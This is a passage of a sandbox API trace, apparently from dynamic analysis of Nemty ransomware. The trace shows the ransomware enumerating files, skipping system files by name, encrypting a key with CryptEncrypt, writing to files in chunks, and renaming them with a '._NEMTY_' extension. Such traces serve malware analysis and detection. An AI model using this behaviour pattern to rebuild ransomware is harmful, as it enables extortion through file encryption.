MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0130.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png._nemty_kgobjgd_")) returned 0 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0130.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.961] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_MCELogo_mouseover.png", cAlternateFileName="")) returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2=".") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="..") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="...") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="windows") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="$RECYCLE.BIN") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="rsa") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="NTDETECT.COM") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="ntldr") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="MSDOS.SYS") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="IO.SYS") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="boot.ini") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="boot.ini") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="ntuser.dat") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="desktop.ini") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="CONFIG.SYS") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="RECYCLER") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="BOOTSECT.BAK") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="bootmgr") returned 1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="programdata") returned -1 [0130.961] lstrcmpiW (lpString1="button_MCELogo_mouseover.png", lpString2="appdata") returned 1 [0130.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseover.png", lpUsedDefaultChar=0x0) returned 28 [0130.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseover.png", lpUsedDefaultChar=0x0) returned 28 [0130.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseover.png", lpUsedDefaultChar=0x0) returned 28 [0130.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseover.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseover.png", lpUsedDefaultChar=0x0) returned 28 [0130.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.962] Sleep (dwMilliseconds=0x5) [0130.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1b6dd30, dwHighDateTime=0x1d561e8)) [0130.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1b6dd30, dwHighDateTime=0x1d561e8)) [0130.975] GetLastError () returned 0x5 [0130.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.975] GetLastError () returned 0x5 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.976] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.976] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="ZpgOQdZxaavagDTi0SP0tmpEtGi/D0zsSq5jg3ryfe9zOR4TtpEznTXZlFt7prBV\r\nhZ1x+4n+MEFSmbRVcszYfRW+exaKaB05LjrG+FJQ8XNhbAgGU7Hof3XizuCaccdX\r\nuXUnbPZaSlyVHvteXuzP1CpfF+VJE1xtNUH4UxziJ3p8Lnhjn6Q1yCsTtJRzPA4Q\r\nTK7kW+QzS/4hWzfj/4gXfD2hNVTghhi2DQJGRmE+Hb0O2HexLyM3v6g9wo+6nxGv\r\n5u1+XwgscIR/CH4KmKKFmQaOnQXztKnQZxLCeMQ1uqGxS00vmQV/5Srq7ZXkTDCA\r\nClHQuiMHHtgiwXZPF+bUGg==\r\n", pcchString=0x653e91c) returned 1 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.976] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.976] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.087] CloseHandle (hObject=0xffffffff) returned 0 [0131.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0131.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0131.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png._nemty_kgobjgd_")) returned 0 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: 